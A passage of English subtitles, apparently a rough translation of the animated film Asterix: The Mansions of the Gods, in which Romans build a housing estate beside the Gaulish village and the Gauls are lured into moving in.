00:13:02,339 +You're slaves, so you do what +you're told AND BUCK IT UP!! + +161 +00:13:03,107 --> 00:13:05,184 +Centurion, you're the +one doing the tintouin now! + +162 +00:13:05,455 --> 00:13:07,332 +YOU LOOP IT TOO! +AND YOU, YOU RIP! + +163 +00:13:09,893 --> 00:13:11,667 +Luckily I didn't bring Idefix! + +164 +00:13:11,892 --> 00:13:13,679 +O druid, what are we going to do? + +165 +00:13:13,832 --> 00:13:16,032 +I have a funny little thing. + +166 +00:13:23,425 --> 00:13:24,590 +A funny thing? + +167 +00:13:30,049 --> 00:13:33,890 +Prodigious! Do you realize, +Obelix, how fast they grow? + +168 +00:13:33,890 --> 00:13:36,217 +I don't know, how long +does it take to grow normally? + +169 +00:13:39,040 --> 00:13:41,034 +I have some not very funny news. + +170 +00:13:42,345 --> 00:13:43,427 +Ah!! Oh!!! + +171 +00:13:48,731 --> 00:13:50,984 +It is true that at first sight, +it can be discouraging. + +172 +00:13:56,549 --> 00:13:59,489 +We must also see the good +side, the motivation remains intact. + +173 +00:13:59,489 --> 00:14:00,676 +And that is great. + +174 +00:14:08,459 --> 00:14:11,711 +In any case, no one gave up, and we +should congratulate ourselves on that. + +175 +00:14:20,862 --> 00:14:22,303 +Obélix, eat slowly! + +176 +00:14:22,303 --> 00:14:25,615 +Well why do it? +Here, I have one glove left! + +177 +00:14:26,196 --> 00:14:27,623 +NO, OBELIX, NO! + +178 +00:14:29,636 --> 00:14:33,747 +OBELIX! YOU WILL TAKE UP +THIS TREE FOR ME IMMEDIATELY! + +179 +00:14:33,747 --> 00:14:35,937 +Oh no. I can't do that to Idefix. + +180 +00:14:39,467 --> 00:14:45,277 +So if I understand correctly. Not only +is the construction site not progressing... + +181 +00:14:46,177 --> 00:14:48,917 +And the Romans don't want to live there! + +182 +00:14:51,147 --> 00:14:54,194 +Our citizens think about +the idea of ​​living in harmony. + +183 +00:14:54,194 --> 00:14:57,564 +How about building the Domain +of the Gods just outside of Rome? + +184 +00:14:57,564 --> 00:14:59,246 +People wanting to live +there won't have to go that far. + +185 +00:14:59,246 --> 00:15:01,269 +FIND ME A GOOD SOLUTION +STRIP OF INCAPANCES + +186 +00:15:01,269 --> 00:15:03,339 +OR YOU WILL ALL END AT +THE ARENAS WITH THE LIONS! + +187 +00:15:03,804 --> 00:15:07,475 +This will entertain the citizens! +Without taking them far from home! + +188 +00:15:09,871 --> 00:15:11,178 +The arenas... + +189 +00:15:12,226 --> 00:15:14,595 +That's a great idea, Caesar. + +190 +00:15:22,660 --> 00:15:27,245 +Ah! Minerva, I'm going to gut you! +- Hercules! Help! Hercules! + +191 +00:15:27,472 --> 00:15:33,908 +Tadaaaa! It's me, Hercules! +You will pay for it, you mean villain! + +192 +00:15:34,155 --> 00:15:38,773 +Apeljus... Is it obligatory, +the carnage? Massacres? + +193 +00:15:39,051 --> 00:15:40,851 +But leave him, he's having fun! + +194 +00:15:41,221 --> 00:15:44,114 +But it's crazy! Where is +he going to find all this? + +195 +00:15:56,610 --> 00:15:59,039 +Do we do a double or triple take? +- Double, double! + +196 +00:15:59,632 --> 00:16:04,302 +And the cervical, how are you? +- Yes, except sudden movements. + +197 +00:16:05,281 --> 00:16:07,729 +Ready for the crunchy kick? +- Ready! + +198 +00:16:11,623 --> 00:16:12,793 +I never liked that shot. + +199 +00:16:13,657 --> 00:16:15,337 +Alright, sorry dude. + +200 +00:16:17,168 --> 00:16:19,282 +Don't try to do it three times! + +201 +00:16:19,744 --> 00:16:21,678 +[introduction of RTL Matin (french radio)] + +202 +00:16:22,341 --> 00:16:23,557 +Ah well here it is! An announcement! + +203 +00:16:25,803 --> 00:16:29,195 +Is there any way +to do a kill properly? + +204 +00:16:30,383 --> 00:16:32,327 +Romans! + +205 +00:16:32,494 --> 00:16:38,344 +You've had enough, enough of the atmosphere +filled with the city, the noise... + +206 +00:16:38,344 --> 00:16:40,700 +Frenzy, traffic?! + +207 +00:16:41,007 --> 00:16:41,989 +Not really... + +208 +00:16:43,003 --> 00:16:48,885 +A new city is waiting +for you, less than + +209 +00:16:48,885 --> 00:16:51,808 +three weeks from +the center of Rome! + +210 +00:16:51,808 --> 00:16:56,361 +The divine Caesar will offer, +this evening, to one of you... + +211 +00:16:56,361 --> 00:16:58,284 +A splendid apartment in the... + +212 +00:16:58,531 --> 00:16:59,971 +DOMAIN OF THE GODS! + +213 +00:17:04,941 --> 00:17:06,980 +Consult unpublish +who is at your feet! + +214 +00:17:08,399 --> 00:17:09,685 +But it's beautiful! + +215 +00:17:10,088 --> 00:17:11,888 +But, it's in Armorica... + +216 +00:17:12,033 --> 00:17:14,124 +Where is Armorica? +- I don't know but, it's far! + +217 +00:17:14,684 --> 00:17:16,527 +That the big draw... + +218 +00:17:17,024 --> 00:17:18,024 +BEGIN!!! + +219 +00:17:34,293 --> 00:17:35,973 +The lucky winner... + +220 +00:17:37,216 --> 00:17:38,896 +Is... the holder... + +221 +00:17:40,057 --> 00:17:41,737 +From unpublishable number... + +222 +00:17:44,588 --> 00:17:45,588 +II!!! + +223 +00:17:47,205 --> 00:17:48,259 +But... But it's you! + +224 +00:17:48,942 --> 00:17:50,093 +Quick, get down, get down!! + +225 +00:17:50,781 --> 00:17:51,957 +I can't go to Armorica! + +226 +00:17:53,384 --> 00:17:55,117 +SO? Who has number II? + +227 +00:17:56,191 --> 00:17:58,742 +It's us! It's here! +It's that person! + +228 +00:17:58,881 --> 00:18:00,948 +What did we win? A gladiator? + +229 +00:18:02,288 --> 00:18:04,432 +We cheer loudly as he +descends from the arena! + +230 +00:18:07,908 --> 00:18:11,812 +Oh look how handsome your father is! +Looks like a Greek hero! + +231 +00:18:12,622 --> 00:18:15,011 +Bravo, Bravo! + +232 +00:18:16,263 --> 00:18:18,663 +Smile, show your number and smile! + +233 +00:18:21,676 --> 00:18:24,637 +Where is Armorica again? +- In Gaul. + +234 +00:18:25,129 --> 00:18:27,329 +Oh yes! It's a long way, though. + +235 +00:18:28,008 --> 00:18:29,844 +So, if I don't want to go to Armorica? + +236 +00:18:29,844 --> 00:18:32,577 +So you stay here and we unleash the lions. + +237 +00:18:48,131 --> 00:18:49,811 +Oh yeah! Effectively. + +238 +00:18:51,319 --> 00:18:53,895 +There, you have to admit that Roman +architecture is awfully impressive! + +239 +00:18:54,739 --> 00:18:56,510 +If I understand +correctly, this is the lobby! + +240 +00:18:56,872 --> 00:18:59,753 +[they laugh.] + +241 +00:18:59,951 --> 00:19:01,303 +Good. We will stop the charges. + +242 +00:19:03,061 --> 00:19:05,461 +We will say that the fun is over. + +243 +00:19:05,702 --> 00:19:06,902 +NEVER NEVER + +244 +00:19:07,381 --> 00:19:10,718 +CAESAR HAS ENTRUSTED ME WITH A +MISSION AND I WILL BRING IT TO THE END + +245 +00:19:10,856 --> 00:19:14,184 +I WILL MAKE THE +TAAACHEEEE SLAAAAVEES DIE + +246 +00:19:16,187 --> 00:19:18,249 +To kill the slaves on the job? + +247 +00:19:18,824 --> 00:19:21,063 +We keep replanting the +trees, that's what will happen. + +248 +00:19:21,383 --> 00:19:22,909 +What can we do, Getafix? + +249 +00:19:22,909 --> 00:19:23,949 +We think. + +250 +00:19:31,095 --> 00:19:33,979 +I have an idea, but you're +not going to accept it. + +251 +00:19:34,137 --> 00:19:35,137 +What if we gave the Romans +a good general beating? + +252 +00:19:35,713 --> 00:19:37,234 +So! That was my idea. + +253 +00:19:37,450 --> 00:19:39,524 +To protect the slaves, I have a plan. + +254 +00:19:39,675 --> 00:19:43,387 +It requires a beating, +but fortunately a tiny one. + +255 +00:19:44,421 --> 00:19:46,621 +A little beating? +That exists? + +256 +00:19:48,584 --> 00:19:49,784 +Rock, paper, scissors! Oh. + +257 +00:19:50,134 --> 00:19:51,134 +Rock, paper, scissors! + +258 +00:19:53,931 --> 00:19:55,211 +Excuse me, slave clan, please. + +259 +00:19:58,155 --> 00:19:59,155 +HELLO!! + +260 +00:19:59,502 --> 00:20:02,734 +YOU CAN'T KNOW +I'M IN A GOOD MOOD! + +261 +00:20:42,854 --> 00:20:46,566 +Here is a potion that gives +superhuman strength. Just for you. + +262 +00:20:46,870 --> 00:20:47,943 +I can take it to +try if it works? + +263 +00:20:47,943 --> 00:20:48,872 +No. + +264 +00:20:49,464 --> 00:20:53,624 +All that remains is to mutiny +and flee. You are free. + +265 +00:20:54,009 --> 00:20:56,343 +So I would like to say thank you, but + +266 +00:20:56,929 --> 00:20:59,254 +Is the flee really a way out? + +267 +00:20:59,254 --> 00:21:02,628 +You talk about +flee, but isn't flee... + +268 +00:21:02,628 --> 00:21:05,647 +Another way of slavery? + +269 +00:21:06,389 --> 00:21:08,606 +It would rather be the +beginning of a form of freedom... + +270 +00:21:08,606 --> 00:21:10,743 +AND YET! No flee without oppression! + +271 +00:21:10,743 --> 00:21:12,696 +I tease a little, but admit that +there is a matter for debate! + +272 +00:21:13,028 --> 00:21:15,282 +I just want to give you a potion. + +273 +00:21:15,282 --> 00:21:17,132 +I hear well. I just want to go back to-- + +274 +00:21:17,311 --> 00:21:19,386 +YOU TAKE THE POTION OR +YOU KNOW WHAT HAPPENS!! + +275 +00:21:19,527 --> 00:21:20,255 +Absolutely. + +276 +00:21:30,371 --> 00:21:31,296 +What happened? + +277 +00:21:31,296 --> 00:21:34,931 +A beautiful testimony from our +Gaulish friends. + +278 +00:21:37,891 --> 00:21:40,091 +Oh no, you, I don't have time! + +279 +00:21:44,877 --> 00:21:45,877 +Ouch. + +280 +00:21:54,458 --> 00:21:58,106 +So, starting today, we +will receive a balance + +281 +00:21:58,587 --> 00:22:01,172 +equal to the legionnaires: +holidays, 2 meals a day... + +282 +00:22:01,434 --> 00:22:02,248 +Thirteen. - How? + +283 +00:22:02,446 --> 00:22:04,913 +Three. +- Ah yes, three meals a day. + +284 +00:22:05,331 --> 00:22:09,427 +When the first building in the +Domain of the Gods is built... + +285 +00:22:09,906 --> 00:22:11,590 +We want to be set free. +- Huh? + +286 +00:22:11,590 --> 00:22:13,323 +Free. +- Oh yes, free. + +287 +00:22:13,824 --> 00:22:16,317 +We demand housing for everyone +in the building we have built. + +288 +00:22:17,403 --> 00:22:18,695 +It's the most. - Here! + +289 +00:22:18,695 --> 00:22:19,695 +Hush! + +290 +00:22:20,941 --> 00:22:24,013 +You won't accept this? +- Yes, it seems prudent. + +291 +00:22:24,279 --> 00:22:25,399 +Deal? + +292 +00:22:59,107 --> 00:23:00,787 +Oh yeah! Effectively. + +293 +00:23:01,325 --> 00:23:04,662 +You have to admit that Roman +architecture is awfully impressive. + +294 +00:23:05,215 --> 00:23:07,015 +Yeah, that's a good job. +- What are you doing here? + +295 +00:23:07,521 --> 00:23:13,575 +Centurion, we saw you give +the slaves the same pay as us!? + +296 +00:23:13,884 --> 00:23:16,828 +Obviously, we +confirm those are lies! + +297 +00:23:19,294 --> 00:23:20,334 +It's mine. - No! + +298 +00:23:20,334 --> 00:23:21,334 +[they argue.] + +299 +00:23:43,268 --> 00:23:45,072 +But what are you making? If we + +300 +00:23:45,073 --> 00:23:46,877 +gave the potion, it's +for you to run away! + +301 +00:23:47,434 --> 00:23:50,554 +We discussed it and it seems +like the condition of fugitive slavery + +302 +00:23:50,554 --> 00:23:53,641 +Does not represent the +prospect of a good career. + +303 +00:23:53,641 --> 00:23:55,400 +What more do you +want, by Toutatis? + +304 +00:23:55,707 --> 00:23:59,422 +In all simplicity, to become +free Roman citizens. + +305 +00:23:59,422 --> 00:24:00,813 +And for that, we want +to finish this building. + +306 +00:24:01,774 --> 00:24:03,649 +WE CANNOT LET YOU +DESTROY OUR FOREST. + +307 +00:24:04,152 --> 00:24:05,280 +THIS JOKE IS ENOUGH. + +308 +00:24:05,573 --> 00:24:07,473 +GET YOUR MEN AWAY. WHEN +WE COME BACK IT WILL BE + +309 +00:24:07,473 --> 00:24:09,153 +TO DESTROY THIS SITE + +310 +00:24:22,324 --> 00:24:23,825 +EVERYONE HAS BEEN SERVED CHILDREN? + +311 +00:24:24,001 --> 00:24:24,944 +YEEEEEEEEESSS!!!! + +312 +00:24:24,944 --> 00:24:25,731 +No. + +313 +00:24:26,162 --> 00:24:27,932 +Okay, a little silence for my speech. + +314 +00:24:29,950 --> 00:24:31,894 +You don't even know what to hit! + +315 +00:24:32,120 --> 00:24:33,201 +WE DON'T CARE! + +316 +00:24:33,354 --> 00:24:34,043 +As long as we hit! + +317 +00:24:34,189 --> 00:24:36,789 +What needs to be demolished +most of all is a large building-- + +318 +00:24:36,876 --> 00:24:39,609 +WE BREAK EVERYTHING ON OUR +PATH AND IT WILL GO! + +319 +00:25:03,152 --> 00:25:03,670 +Greu! + +320 +00:25:11,017 --> 00:25:13,788 +44, You follow me! +- Hey, you forgot 43! + +321 +00:25:13,893 --> 00:25:15,573 +43 is entry C! + +322 +00:25:16,861 --> 00:25:17,901 +Civilians... + +323 +00:25:18,290 --> 00:25:22,706 +Oh look, a little costume +animation to keep us waiting! + +324 +00:25:28,498 --> 00:25:29,858 +Come here, my baby. + +325 +00:25:33,834 --> 00:25:36,047 +Can we smash the big house? +- No. + +326 +00:25:36,819 --> 00:25:39,353 +Well, a column, anyway. +- No! + +327 +00:25:39,749 --> 00:25:42,149 +The little cart, at least! +- No!! + +328 +00:25:42,569 --> 00:25:47,433 +CAN YOU TELL ME WHAT THE ROMANS +ARE FOR IF WE CAN'T HIT THEM!? + +329 +00:25:52,821 --> 00:25:54,501 +We're going back home. + +330 +00:26:05,395 --> 00:26:07,366 +What I need +is your title deed. + +331 +00:26:08,044 --> 00:26:11,714 +But it's *that*, my title deed! +- We were entrusted with it by Caesar! + +332 +00:26:11,837 --> 00:26:13,091 +I don't know what you need! + +333 +00:26:13,228 --> 00:26:14,713 +Listen, Petirectus. +- Petiminus. + +334 +00:26:14,850 --> 00:26:16,147 +Petinus. I can't-- + +335 +00:26:16,304 --> 00:26:19,651 +Say! If you keep fidgeting, +we're not gonna make it! + +336 +00:26:19,651 --> 00:26:25,084 +It's long, huh! +- Mosaic is nothing new. + +337 +00:26:29,573 --> 00:26:31,255 +This mosaic has a problem. +- Pardon? + +338 +00:26:31,964 --> 00:26:34,636 +It's way too big and you +haven't consolidated it by area. + +339 +00:26:35,595 --> 00:26:37,168 +This mosaic is perfect, Peticitrus. +- Petiminus. + +340 +00:26:37,357 --> 00:26:40,959 +Petinus. I can't assign you +accommodation. Thanks, have a good day. + +341 +00:26:40,959 --> 00:26:43,859 +But anyway, we +did weeks of travel! + +342 +00:26:44,376 --> 00:26:47,077 +Come back tomorrow with +a complete file. Next! + +343 +00:26:52,542 --> 00:26:54,675 +Come on, go, you, I'm busy. + +344 +00:26:56,542 --> 00:26:57,542 +AHH!! + +345 +00:27:06,776 --> 00:27:08,456 +Lost in Armorica... + +346 +00:27:15,300 --> 00:27:18,372 +Look: he lifts a column +on his own! Tadaam! + +347 +00:27:45,017 --> 00:27:47,217 +Can... can I play with the dog? + +348 +00:27:48,487 --> 00:27:52,661 +Of course! He is very good at +fetching sticks. Huh, Idefix? + +349 +00:27:54,200 --> 00:27:57,849 +Well, to bring back menhirs, I'm +trying to train it but it's not yet easy. + +350 +00:28:01,953 --> 00:28:03,753 +Come on Idefix! Fetch! + +351 +00:28:04,618 --> 00:28:07,075 +Wow...! Hercule! + +352 +00:28:08,180 --> 00:28:10,728 +We still have no luck. +- What will happen to us? + +353 +00:28:15,666 --> 00:28:17,655 +Dad, Mom, I found Hercule!! + +354 +00:28:18,135 --> 00:28:19,335 +Where, Hercule? + +355 +00:28:20,534 --> 00:28:22,867 +Apeljus! +- Spare the Gaul child! + +356 +00:28:29,006 --> 00:28:30,311 +I HAVE UNDERSTOOD YOU! + +357 +00:28:30,763 --> 00:28:33,698 +About what? +- Uh, in general. + +358 +00:28:34,100 --> 00:28:35,402 +Y'all are-- +- THE SOUP IS GOING TO BE COLD! + +359 +00:28:35,572 --> 00:28:36,859 +One minute, mimine... + +360 +00:28:37,900 --> 00:28:41,306 +You are all very disappointed, here, +not to have the right to a good fight... + +361 +00:28:41,453 --> 00:28:43,848 +We took the magic potion for nothing! +[everyone approves] + +362 +00:28:45,422 --> 00:28:49,260 +If I meet a Roman civilian in +the forest, I'll give him a look + +363 +00:28:49,260 --> 00:28:51,197 +WHO WILL TELL EVERYTHING! +- Me me me! + +364 +00:28:51,593 --> 00:28:53,847 +If a Roman civilian asks +me the way, I'll show him. + +365 +00:28:53,847 --> 00:28:55,899 +BUT HE WILL NOT COME UP +THE CURRENCY OF HIS PIECE! + +366 +00:28:57,381 --> 00:29:00,315 +If there is someone who helps me +carry my basket, I will say thank you. + +367 +00:29:00,814 --> 00:29:02,639 +BUT THAT WILL NOT BE SINCERE!! + +368 +00:29:07,517 --> 00:29:12,189 +It's friends. They don't know how +to go with a key of I don't know what. + +369 +00:29:12,879 --> 00:29:16,131 +It is the best! The last +time a Roman set foot here, + +370 +00:29:16,131 --> 00:29:17,731 +I wasn't even born! + +371 +00:29:19,937 --> 00:29:24,376 +I'm sorry, but this looks +like a tiny attempt at invasion. + +372 +00:29:24,376 --> 00:29:26,083 +ATTACK INVADERS, CHILDREN!! + +373 +00:29:27,979 --> 00:29:30,879 +But where did you see +invaders? It's a lost family! + +374 +00:29:31,157 --> 00:29:32,198 +But, mimine... + +375 +00:29:37,682 --> 00:29:40,415 +Come on, come eat. There's lukewarm soup. + +376 +00:29:52,983 --> 00:29:56,247 +Asterix. Village warrior. +- Petiminus, mosaicist. + +377 +00:30:09,768 --> 00:30:11,701 +Alright then, so what do we do? + +378 +00:30:11,809 --> 00:30:12,226 +About what? + +379 +00:30:12,352 --> 00:30:15,267 +In the Domain of the Gods, +we don't hit the civilians, all that. + +380 +00:30:16,132 --> 00:30:18,098 +Because in the meantime, +the work continues! + +381 +00:30:18,283 --> 00:30:19,836 +That means more will come! + +382 +00:30:20,680 --> 00:30:25,229 +We have to find a way to get rid +of the civilians without hitting them. + +383 +00:30:32,903 --> 00:30:34,669 +It's time, let's go, Obelix! + +384 +00:30:45,031 --> 00:30:48,982 +And I raise my horn to the health of +the residents of the Domain of the Gods! + +385 +00:30:52,443 --> 00:30:55,358 +Ahh, anyway! Finally +the famous Armorican rain! + +386 +00:30:55,358 --> 00:30:58,041 +When I thought when this moment +in Rome it would be all heat! + +387 +00:31:08,066 --> 00:31:09,503 +Ave. +- Hi. + +388 +00:31:12,556 --> 00:31:15,165 +IT'S FRESH! IT'S A FRESH FISH!! + +389 +00:31:15,165 --> 00:31:16,946 +How much are you selling your macro for? + +390 +00:31:18,033 --> 00:31:19,471 +Uuuhh, 1 sestertius. + +391 +00:31:19,471 --> 00:31:22,679 +A sestertius? In Rome, they sell us at 5 +- FIVE!?!? + +392 +00:31:22,847 --> 00:31:26,484 +Ah oh no, no, it's uhh one. + +393 +00:31:26,484 --> 00:31:29,384 +It may be because we +have the sea next door. + +394 +00:31:29,563 --> 00:31:31,184 +And in Rome, we don't have the sea nearby. + +395 +00:31:31,184 --> 00:31:33,330 +In Rome, we have the sea, but it is dirty. + +396 +00:31:33,330 --> 00:31:33,981 +I take three. + +397 +00:31:42,337 --> 00:31:43,076 +Are you proud of yourself? + +398 +00:31:43,246 --> 00:31:45,445 +What? I should have +refused to sell to Romans? + +399 +00:31:46,903 --> 00:31:51,210 +Do you realize that you would sell your +macro for 5 sesterces if you were in Rome? + +400 +00:31:59,400 --> 00:32:01,264 +Incomplete file. Next! + +401 +00:32:08,178 --> 00:32:10,777 +So what's going on? +- I don't know, we can't see anything! + +402 +00:32:10,981 --> 00:32:13,989 +You know what's going on? +- No, we can't see anything! + +403 +00:32:16,254 --> 00:32:18,873 +Well, we'll try to +sleep, anyway! + +404 +00:32:18,873 --> 00:32:20,698 +Anyway, it could never +be worse than in Rome! + +405 +00:32:22,217 --> 00:32:24,750 +And there, there is the +rain which refreshes! + +406 +00:32:26,528 --> 00:32:27,528 +Ave. +- Hi. + +407 +00:32:31,734 --> 00:32:35,462 +Special Domain of the Gods: 4 sesterces +the macro! 4! Cheaper than in Rome! + +408 +00:32:35,760 --> 00:32:38,026 +Oh! This shield looks lovely! + +409 +00:32:39,333 --> 00:32:41,847 +Ahhh, be careful: +it's not everyone's. + +410 +00:32:42,420 --> 00:32:46,237 +This is a real shield that +belonged to Vercingetorix himself. + +411 +00:32:47,118 --> 00:32:50,231 +You make this every week +and sell it like it belongs to him! + +412 +00:32:50,231 --> 00:32:53,127 +Well, your fish is starting +to mummify there! + +413 +00:32:55,378 --> 00:32:56,438 +Incomplete file. + +414 +00:32:57,519 --> 00:32:58,519 +Ne-xt. + +415 +00:33:06,504 --> 00:33:09,717 +You know what's going on, do you? +- No, we don't see anything! + +416 +00:33:10,652 --> 00:33:12,927 +Well, we'll try to sleep anyway! + +417 +00:33:12,927 --> 00:33:15,514 +Anyway, it could never +be worse than in Rome! + +418 +00:33:16,276 --> 00:33:18,810 +And there, there is the +rain which refreshes! + +419 +00:33:20,128 --> 00:33:21,128 +Ave. +- Hi. + +420 +00:33:26,784 --> 00:33:27,567 +How much do you do it for? + +421 +00:33:28,341 --> 00:33:29,999 +Special Domain of the Gods: 40 sesterces. + +422 +00:33:30,723 --> 00:33:32,613 +THIS IS WHAT WE WILL SEE +WITH THE FAKE VERCINGETORIX + +423 +00:33:32,613 --> 00:33:34,482 +IT WOULD BE WORTH TRIPLE, ANDOUILLE + +424 +00:33:34,482 --> 00:33:36,683 +BECAUSE, FIRST: I DO WHAT I WANT + +425 +00:33:36,683 --> 00:33:39,378 +AND SECOND, WHAT IS TRIPLE 40? + +426 +00:33:39,483 --> 00:33:42,004 +That's 120 sesterces, +and at that price, I buy! + +427 +00:33:43,579 --> 00:33:44,364 +THIS IS TOO STRONG! + +428 +00:33:44,572 --> 00:33:47,346 +THEN SAY YOUR FISH +COMES FROM VERCINGETORIX! + +429 +00:33:49,881 --> 00:33:56,479 +[they fight] + +430 +00:34:03,933 --> 00:34:06,067 +We got it, we got it, we got it! + +431 +00:34:09,531 --> 00:34:10,531 +We got it! + +432 +00:34:19,985 --> 00:34:28,246 +Good morning, good morning, good morning. + +433 +00:34:28,246 --> 00:34:31,113 +Impressive! So, *very* impressive. + +434 +00:34:31,507 --> 00:34:33,187 +All on time... + +435 +00:34:40,447 --> 00:34:42,860 +Centurion? +- Nonono, later. + +436 +00:34:43,300 --> 00:34:44,961 +Yes, but we won't be there later... + +437 +00:34:44,961 --> 00:34:45,598 +What is happening? + +438 +00:34:47,063 --> 00:34:49,469 +I promised to set them free, +but I didn't have the authority. + +439 +00:34:49,665 --> 00:34:51,518 +Did you promise to set them free? + +440 +00:34:51,518 --> 00:34:54,328 +AND HE PAID THEM! AND HE GAVE THEM +A DWELLING IN THE DOMAIN OF THE GODS + +441 +00:34:54,328 --> 00:34:55,232 +TO EVERYONE! +- What? + +442 +00:34:55,926 --> 00:34:57,574 +Well, without that, we would +have been fighting! + +443 +00:34:58,776 --> 00:35:00,136 +Let me handle this. + +444 +00:35:03,744 --> 00:35:04,744 +Slaves! + +445 +00:35:05,254 --> 00:35:08,632 +By the powers given to +me by Caesar and all that... + +446 +00:35:11,326 --> 00:35:13,006 +Hop! I set you free. + +447 +00:35:13,747 --> 00:35:15,057 +So we are free? +- Yes. + +448 +00:35:15,057 --> 00:35:18,086 +Ahhh! Ah well I can tell you +that we're glad to hear it. + +449 +00:35:19,627 --> 00:35:22,802 +You will not forget to return +the keys of your accommodations. + +450 +00:35:23,711 --> 00:35:25,994 +We had thought that we had +a housing assigned to each... + +451 +00:35:26,195 --> 00:35:30,362 +When you were slaves! +Because now you have to pay 15 + +452 +00:35:30,523 --> 00:35:33,467 +rent sesterces per week. +- 15 sesterces? + +453 +00:35:34,400 --> 00:35:35,387 +BUT! Good news: + +454 +00:35:35,694 --> 00:35:39,004 +We have jobs for construction +workers that have just become available! + +455 +00:35:39,004 --> 00:35:41,071 +The salary is therefore... +15 sesterces a week. + +456 +00:35:41,413 --> 00:35:44,336 +You accept? +- Well... it's a proposal-- + +457 +00:35:44,336 --> 00:35:46,070 +Perfect! You are engaged. + +458 +00:35:46,293 --> 00:35:49,237 +Anglegus, your +workers are not at work. + +459 +00:35:50,394 --> 00:35:53,141 +WORK, LAZY BANDS!! +WHAT ARE YOU DOING LOUNGE + +460 +00:35:53,141 --> 00:35:55,071 +WHAT DO YOU THINK YOU +WILL BE PAID FOR!? GO! + +461 +00:35:55,071 --> 00:35:56,152 +GO TO CONSTRUCTION!!! + +462 +00:35:58,407 --> 00:36:00,140 +But this is slavery! + +463 +00:36:02,330 --> 00:36:05,063 +I have to admit, you are efficient. + +464 +00:36:06,360 --> 00:36:07,720 +I am a senator. + +465 +00:36:10,112 --> 00:36:13,053 +THEY ARE NEW, THE +ANTIQUES, THEY ARE NEW! + +466 +00:36:13,393 --> 00:36:16,337 +OLD MATERIALS: +CONTACT THE SPECIALIST! + +467 +00:36:16,893 --> 00:36:19,013 +FROM FATHER TO SON SINCE VERCINGETORIX! + +468 +00:36:19,013 --> 00:36:20,858 +7 SESTERCES THE MACRO, 7 SESTERCES + +469 +00:36:20,858 --> 00:36:23,715 +6 SESTERCES 99 THE MACRO! 6 SESTERCES 99! + +470 +00:36:31,371 --> 00:36:33,429 +But I tell you this +shield is not for sale! + +471 +00:36:34,221 --> 00:36:37,991 +Even for 450 sesterces? +- It's to offer? I wrap it up for you. + +472 +00:36:45,474 --> 00:36:46,597 +You will give us 2 fish, please. + +473 +00:36:46,809 --> 00:36:48,489 +You eat fish now? + +474 +00:36:48,542 --> 00:36:52,572 +We have to, there are no +wild boars in the forest now. + +475 +00:36:53,885 --> 00:36:56,399 +That will be 14 sesterces. +- WHAT!? It's a joke. + +476 +00:36:56,632 --> 00:37:01,646 +Why not raise the price? We are even +a little more expensive than in Rome! + +477 +00:37:01,646 --> 00:37:03,805 +This is theft!! Lower +your price immediately. + +478 +00:37:04,114 --> 00:37:05,401 +This is my price! To do what? + +479 +00:37:05,550 --> 00:37:08,736 +Even with 7 sestertii, +my fish is selling well. + +480 +00:37:10,094 --> 00:37:11,294 +I take one. + +481 +00:37:11,897 --> 00:37:13,764 +One macro for two? +- Yes. + +482 +00:37:20,141 --> 00:37:23,332 +And the fish, we leave it? Because +we really have nothing to eat! + +483 +00:37:35,417 --> 00:37:37,943 +Mister Asterix prevents +us from hitting the civilians... + +484 +00:37:37,943 --> 00:37:40,426 +And when we welcome them into our +home, they want us to send them back. + +485 +00:37:40,426 --> 00:37:42,863 +You are ridiculous with +your macros at 7 sesterces! + +486 +00:37:43,325 --> 00:37:44,934 +You must stop this +circus immediately! + +487 +00:37:45,239 --> 00:37:46,554 +And that you help us! + +488 +00:37:46,705 --> 00:37:49,775 +Help you with what exactly? +- To make the Romans... + +489 +00:37:49,775 --> 00:37:52,915 +...go home so we can raze +the Domain of the Gods! + +490 +00:37:54,663 --> 00:37:55,703 +Perfectly. + +491 +00:37:58,524 --> 00:37:59,964 +...and the customers? + +492 +00:38:01,885 --> 00:38:04,992 +Asterix, I don't see why we +shouldn't grow our business! + +493 +00:38:05,139 --> 00:38:08,432 +The bad thing is you've +become a bunch of greedy fools. + +494 +00:38:08,432 --> 00:38:11,415 +It's wrong! We were already +fools long before the Romans... + +495 +00:38:11,415 --> 00:38:14,351 +Exact! And we don't risk being +greedy, we don't know what that means! + +496 +00:38:16,337 --> 00:38:19,494 +Good. Don't worry. I +won't give you any problem. + +497 +00:38:20,635 --> 00:38:22,835 +I'm moving to the Domain of the Gods. + +498 +00:38:23,724 --> 00:38:26,001 +Me too. (x2) + +499 +00:38:26,001 --> 00:38:29,604 +I won't stay a second in a +village that I no longer recognize. + +500 +00:38:36,319 --> 00:38:39,889 +I know I'm overdoing it, but +isn't it time for a farewell song? + +501 +00:38:45,087 --> 00:38:47,124 +SINCE IT'S LIKE THIS, ME TOO I'M +GOING TO THE DOMAIN OF THE GODS. + +502 +00:38:47,124 --> 00:38:50,493 +Perhaps the Romans know how to +welcome an artist. And I can tell you-- + +503 +00:38:50,493 --> 00:38:52,656 +Assurancetourix, if you +want to leave, it's now. + +504 +00:38:53,793 --> 00:38:55,393 +BRIEF! I AM OUTRAGED! + +505 +00:39:11,869 --> 00:39:13,077 +Romans, we want an accommodation. + +506 +00:39:13,077 --> 00:39:15,997 +An accommodation? Really?? + +507 +00:39:16,142 --> 00:39:18,517 +We just want an accommodation. + +508 +00:39:18,517 --> 00:39:20,661 +But come on, I-- s-- it's impossible-- + +509 +00:39:20,661 --> 00:39:26,746 +Hello Hello!! +Good morning. Welcome. + +510 +00:39:26,746 --> 00:39:29,012 +We will make you happy! +- What!? + +511 +00:39:32,157 --> 00:39:34,862 +Anglegus, you're +dumber than you think. + +512 +00:39:34,862 --> 00:39:38,254 +But finally, we are not +going to welcome Gauls here! + +513 +00:39:40,316 --> 00:39:43,761 +What will Caesar say if he learns that +the Gauls want to live like Romans? + +514 +00:39:43,761 --> 00:39:47,024 +What will Caesar say if he sees +the madmen deserting their village? + +515 +00:39:47,513 --> 00:39:52,184 +What will Caesar say if he realizes his +plan is going 1000x better than expected!? + +516 +00:39:52,184 --> 00:39:54,187 +But I have no free accommodation! + +517 +00:39:54,617 --> 00:39:55,377 +Make room. + +518 +00:39:55,648 --> 00:39:58,315 +No problem!! We'll think about it. + +519 +00:40:03,773 --> 00:40:05,840 +Finally... we are finally home. + +520 +00:40:08,949 --> 00:40:09,949 +Come in! + +521 +00:40:22,883 --> 00:40:25,083 +What shall we do now? +- Do you have an idea, Asterix? + +522 +00:40:25,849 --> 00:40:26,849 +I need the night to revise. + +523 +00:40:30,129 --> 00:40:32,462 +This house looks like a box. + +524 +00:40:33,262 --> 00:40:35,195 +It's an apartment, Obelix. + +525 +00:40:35,562 --> 00:40:39,967 +If we knew which box Apeljus and his 